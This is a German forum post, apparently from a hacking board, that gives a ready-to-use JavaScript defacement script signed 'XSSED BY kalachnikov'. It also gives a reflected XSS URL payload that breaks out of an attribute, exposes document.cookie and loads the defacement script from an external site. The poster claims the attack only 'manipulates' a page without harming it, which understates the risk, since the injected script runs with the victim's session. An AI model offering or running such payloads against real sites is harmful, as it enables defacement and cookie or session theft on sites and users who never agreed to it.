du kannst mittels javascript eine page defacen, wenn du das meinst..
hier das Javascript:
Code:
var title = "XSSED BY kalachnikov";var bgcolor = "#000000";var image_url = "suchs dir aus!";var text = "XSS By kalachnikov";var font_color = "#00FF00";deface(title, bgcolor, image_url, text, font_color); function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) { document.title = pageTitle; document.body.innerHTML = ''; document.bgColor = bgColor; var overLay = document.createElement("div"); overLay.style.textAlign = 'center'; document.body.appendChild(overLay); var txt = document.createElement("p"); txt.style.font = 'normal normal bold 30px Verdana'; txt.style.color = fontColor; txt.innerHTML = pageText; overLay.appendChild(txt); if (image_url != "") { var newImg = document.createElement("img");var centerImg = document.createElement("center"); newImg.setAttribute("border", '0'); newImg.setAttribute("src", imageUrl); centerImg.appendChild(newImg); overLay.appendChild(centerImg); } var footer = document.createElement("p"); footer.style.font ='italic normal normal 12px Arial'; footer.style.color = '#333333'; footer.innerHTML = title; overLay.appendChild(footer);}
und das fügst du in die Url ein:
Code:
">/kalachnikov/><script>alert(document.cookie)</script><script src=http://deinePage.de/style.js></script>
damit kannst du eine page "manipulieren" jedoch nicht schädigen..